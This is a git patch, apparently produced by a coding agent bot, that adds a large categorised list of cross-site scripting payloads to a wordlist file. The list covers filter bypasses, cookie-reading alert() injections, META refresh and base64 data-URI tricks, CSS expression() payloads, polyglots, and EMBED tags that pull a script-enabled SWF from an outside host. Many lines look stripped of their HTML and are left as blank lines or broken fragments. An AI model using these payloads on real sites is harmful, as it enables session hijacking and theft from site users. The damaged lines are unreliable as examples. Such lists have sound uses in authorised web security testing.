From e418fda9f859c3c16d7636007b502fd4afcfb330 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 4 Jan 2026 20:04:18 +0000 Subject: [PATCH 1/2] Initial plan From 03aaf0ada83bd21b7e97aa24228e4cbb1c5cc215 Mon Sep 17 00:00:00 2001 From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com> Date: Sun, 4 Jan 2026 20:10:34 +0000 Subject: [PATCH 2/2] Add comprehensive XSS payload collection Added 445+ new XSS payloads organized into logical categories including: - Basic XSS attacks and case variations - IMG, SVG, Body, Input tag-based XSS - Event handler and encoded XSS - JavaScript protocol variations - DOM-based XSS - Filter bypass techniques - Form, Style, Meta refresh XSS - Object/Embed, Video/Audio XSS - Script source and attribute variations - Comment-based bypass - Link/Base, VBScript, Microsoft-specific XSS - Character encoding variations - And many more advanced techniques Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com> --- XSS/xss-payloads.txt | 445 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 445 insertions(+) diff --git a/XSS/xss-payloads.txt b/XSS/xss-payloads.txt index ea55303..cec7e12 100644 --- a/XSS/xss-payloads.txt +++ b/XSS/xss-payloads.txt @@ -7,65 +7,202 @@ + + + + + + + +# Case variation bypass + + +ipt>alert(1)ipt> +foo +foo # Inline JavaScript XSS '; alert(1); ')alert(1);// +';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> +'; alert(document.cookie); var foo=' +foo\'; alert(document.cookie);//'; +\";alert('XSS');// +\\";alert('XSS');// # IMG tag XSS + + + + + + + + +"> + + + + + + + + + +"> + + +"> + + + + + + + # SVG XSS +'} # Body tag XSS + + + +





...



+ +

hellox worldss

# Input tag XSS + + + +X + + + +
+ # DOM-based XSS +javascript:alert("hellox worldss") # Filter bypass ipt>alert(1)ipt> @@ -75,14 +212,34 @@ + + + +/*%00*/alert(1)/*%00*/+-+-1-+-+alert(1) +({0:#0=alert/#0#/#0#(0)}) + + + + + +< +< + + # Polyglot XSS javascript:"/*'/*`/*--> jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e +'';!--"=&{()} # Attribute-based XSS "> "> +"> '> "> '> @@ -94,5 +251,293 @@ ${alert(1)} <%= alert(1) %> {alert(1)} +# Form-based XSS + + + + +exp/* +<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE> +<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\"> +<XSS STYLE=\"xss:expression(alert('XSS'))\"> +<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE> +<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A> +<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE> +/ + + + + +<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\"> +<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"> +<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\" + +# Object/Embed XSS + + + + + + + + + +<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED> +<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED> + +# Video/Audio XSS +